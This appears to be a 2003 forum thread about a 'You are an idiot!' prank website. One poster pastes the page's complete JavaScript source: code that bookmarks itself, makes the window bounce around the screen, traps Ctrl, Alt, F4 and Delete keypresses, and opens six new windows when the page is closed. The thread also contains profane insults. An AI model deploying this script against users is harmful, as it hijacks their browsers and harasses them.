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Tormentor
05-18-2003, 09:21 PM
Go there it is so funny :)
Infested Cats
05-18-2003, 09:25 PM
...thank god for popup blockers :rolleyes:
scribblec
05-18-2003, 09:33 PM
u r a fuking ass
your worse the infamousballs

these sites have been posted millions of times
why insist on doing it again
and again
and again

hope u fucking rot in hell u shit


people dont click it
its one of those u r an idiot things
or in other words u r like andrewlamb
Acecool
05-18-2003, 09:34 PM
Thank got for right click save as


<html>
<head>
<title>You are an idiot!</title>
<script language=Javascript>

function bookmark() {
 if ((navigator.appName == "Microsoft Internet Explorer")
 && (parseInt(navigator.appVersion) >= 4))
 {
 var url="http://offiz.bei.t-online.de/idiot.html";
 var title="Idiot!";
 window.external.AddFavorite(url,title);
 }
 }

function altf4key() { if (event.keyCode == 18 || event.keyCode == 115) alert("You are an idiot!"); }
function ctrlkey() { if (event.keyCode == 17) alert("You are an idiot!"); }
function delkey() { if (event.keyCode == 46) alert("You are an idiot!"); }

 var xOff = 5;
 var yOff = 5;
 var xPos = 400;
 var yPos = -100;
 var flagRun = 1;

function openWindow(url){
       aWindow = window.open(url,"_blank", 'menubar=no,status=no,toolbar=noresizable=no,width=180,height=175,titlebar=no,alwaysRaised=yes');
}

function procreate(){
 openWindow('index.html');
 openWindow('index.html');
 openWindow('index.html');
 openWindow('index.html');
 openWindow('index.html');
 openWindow('index.html');
 }

function newXlt(){
       xOff = Math.ceil( 0 - 6 * Math.random()) * 5 - 10&#59;
       window.focus()}

function newXrt(){
       xOff = Math.ceil(7 * Math.random())  * 5 - 10&#59;
       }

function newYup(){
       yOff = Math.ceil( 0 - 6 * Math.random())  * 5 - 10&#59;
       }

function newYdn(){
       yOff = Math.ceil( 7 * Math.random())  * 5 - 10 &#59;
       }
function fOff(){
       flagrun = 0;
       }

function playBall(){
       xPos += xOff;
       yPos += yOff;
       if (xPos > screen.width-175){
       newXlt();
       }
       if (xPos < 0){
       newXrt();
       }
       if (yPos > screen.height-100){
       newYup();
       }
       if (yPos < 0){
       newYdn();
       }
       if (flagRun == 1){
       window.moveTo(xPos,yPos);
       setTimeout('playBall()',1);
       }
       }

</script>
</head>
<body bgColor=#ffffff onload="flagRun=1;playBall();return true;bookmark();" onKeyDown="altf4key();ctrlkey();delkey();" onUnLoad="procreate()" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=5,0,0,0" width="100%" height="100%">
 <param name=movie value="youare.swf">
 <param name=quality value=high>
 <embed src="youare.swf" quality=high pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash" type="application/x-shockwave-flash" width="100%" height="100%">
 </embed>
</object>
</body>
</html>
Tormentor
05-18-2003, 09:39 PM
ok sorry about that people
ooo
05-18-2003, 10:04 PM
lol the code forgot esc key :)
4play
05-18-2003, 10:05 PM
how about removing the link ;)
Tormentor
05-18-2003, 10:52 PM
Originally posted by 4play@18 May 2003 - 16:05
how about removing the link ;)
done
jay973
05-18-2003, 10:55 PM
Ha Ha,this thread looks kinda pointless now.
Can anyone remove this thread so others dont get confused??
:lol: :lol:
Bender
05-19-2003, 12:02 AM
I'd rather leave it as a warning for other people who want to post things like this. ;)